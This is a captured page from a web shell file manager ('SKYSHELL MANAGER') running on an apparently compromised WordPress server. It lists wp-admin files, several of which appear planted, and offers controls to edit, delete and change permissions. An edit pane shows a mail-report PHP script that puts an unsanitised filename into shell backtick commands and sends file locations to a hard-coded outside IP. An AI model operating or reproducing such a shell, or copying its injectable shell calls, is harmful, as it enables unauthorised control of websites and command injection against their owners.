📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: generate_pmta_rpt.php
<?php ############################################################## ## Delivered, Bounce and Deferred files are syncronizing here #########################ELA################################## include_once "/var/www/webmail/WebXmail/connect.php"; date_default_timezone_set('America/New_York'); ini_set("memory_limit","512M"); global $local_path; preg_match("/http\:\/\/([^\.]+)./",$local_path,$match); $serveralias=trim($match[1]); $filename=trim($argv[1]); $dumpfilepath="/var/log/pmtaDump"; $htmlpath="/var/www/html/temp"; $pdfile="$htmlpath/processed_files"; $darr=explode("-",$filename); list($first,$second)=explode(".",$darr[4]); $ls2=substr($first,-2); $prehour=$darr[1].$darr[2].$darr[3]."_$ls2"; //$prehour=date('Ymd_H',strtotime('last hour')); if(preg_match('/bounce_/',$filename)) { $bouncefile="$dumpfilepath/$filename"; #b-bounce #bounce_wh-1_20150224_15 #------important: serever name is getting from this file name in group_data.pl -----# $bounce_lasthour="bounce_$serveralias"."_$prehour"; if(file_exists("$bouncefile")) { `cat $bouncefile > $htmlpath/$bounce_lasthour `; if(file_exists("$htmlpath/$bounce_lasthour")) { //bounce $bouncesize=filesize("$htmlpath/$bounce_lasthour"); $bouncefilepath="http://$serveralias.webxmail.us/temp/$bounce_lasthour"; $benc=urlencode($bouncefilepath); $hv2file1="http://74.208.164.141/rec_sent_filesync.php?fkey=2&bouncefile=$benc&bouncesize=$bouncesize"; $out=curl_filegetcontents($hv2file1); unlink("$htmlpath/$bounce_lasthour"); print_r($out); if(!preg_match("/not done/i",$out)) { $write = "$filename".PHP_EOL; file_put_contents($pdfile, $write, FILE_APPEND); } } } } if(preg_match('/sent_/',$filename)) { $sentfile=$filename; #d-delivered #------important: serever name is getting from this file name in group_data.pl -----# $sent_lasthour="sent_rpt_$serveralias"."_$prehour"; echo `/bin/sh /var/www/webmail/cron/group_data.sh $sentfile $sent_lasthour $serveralias`; if(file_exists("$htmlpath/$sent_lasthour")) { //delevered $delsize=filesize("$htmlpath/$sent_lasthour"); $delfilepath="http://$serveralias.webxmail.us/temp/$sent_lasthour"; $denc=urlencode($delfilepath); $hv2file1="http://74.208.164.141/rec_sent_filesync.php?fkey=3&deliveredfile=$denc&deliveredsize=$delsize"; $out=curl_filegetcontents($hv2file1); unlink("$htmlpath/$sent_lasthour"); print_r($out); if(!preg_match("/not done/i",$out)) { $write = "$filename".PHP_EOL; file_put_contents($pdfile, $write, FILE_APPEND); } } } if(preg_match('/deferred_/',$filename)) { $defferedfile=$filename; #t-deffered #------important: serever name is getting from this file name in group_data.pl -----# $deff_lasthour="deferred_rpt_$serveralias"."_$prehour"; echo `/bin/sh /var/www/webmail/cron/group_data.sh $defferedfile $deff_lasthour $serveralias`; if(file_exists("$htmlpath/$deff_lasthour")) { //deffered $deffsize=filesize("$htmlpath/$deff_lasthour"); $defffilepath="http://$serveralias.webxmail.us/temp/$deff_lasthour"; $deffenc=urlencode($defffilepath); $hv2file1="http://74.208.164.141/rec_sent_filesync.php?fkey=4&defferedfile=$deffenc&defferedsize=$deffsize"; $out=curl_filegetcontents($hv2file1); unlink("$htmlpath/$deff_lasthour"); print_r($out); if(!preg_match("/not done/i",$out)) { $write = "$filename".PHP_EOL; file_put_contents($pdfile, $write, FILE_APPEND); } } } function curl_filegetcontents($url) { $curl_handle=curl_init(); curl_setopt($curl_handle, CURLOPT_URL,"$url"); curl_setopt($curl_handle, CURLOPT_CONNECTTIMEOUT, 2); curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl_handle, CURLOPT_USERAGENT, 'Your application name'); $query = curl_exec($curl_handle); curl_close($curl_handle); return $query; } ?>
Save